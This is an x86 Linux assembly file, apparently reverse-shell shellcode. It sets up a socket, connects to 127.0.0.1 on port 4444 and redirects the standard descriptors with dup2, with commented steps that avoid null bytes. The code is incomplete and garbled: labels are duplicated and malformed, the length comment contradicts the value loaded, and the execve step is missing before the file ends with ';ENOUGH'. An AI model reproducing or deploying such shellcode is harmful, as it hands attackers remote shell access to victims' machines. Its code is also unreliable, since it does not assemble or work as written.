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Reverse_shell.asm
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Reverse_shell.asm
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global _start
section.text
_start:
;socket()
xor ecx, ecx ;xoring ECX
xor ebx, ebx ;xoring EBX
mul ebx ;xoring EAX and EDX
inc cl ;ECX should be 1
inc bl
inc bl ;EBX should be 2
mov ax, 0x167
int 0x80 ;call socket()
;connect
xchg ebx, eax ;From EAX to EBX ready for the next system calls
;push sockaddr structure in the stack
dec cl
push ecx ;unused char(0)
;move the length(16 bytes) of ip in EDX
mov dl, 0x16
;the ip is 1.0.0.127 couldbe 4.3.3.130 to avoid NULL bytes
mov ecx, 0x04030382 ; mov ip in ecx
sub ecx, 0x03030303 ;subtract 3.3.3.3 from ip
push ecx ;load the real ip in the stack
push word 0x5c11 ;port 4444
push word 0x02 ;AF_INET family
lea ecx, [esp]
;EBX still contain the value of the opened socket
opened socket:
mov ax, 0x16a
int 0x80
;dup()
xor ecx, ecx
mov cl, 0x3
dup2:
xor eax, eax
;EBX will still contain the value of the opened socket
opened socket:
mov al, 0x3f
dec cl
int 0x80
jnz dup2
;execve() from the previous stuff
;ENOUGH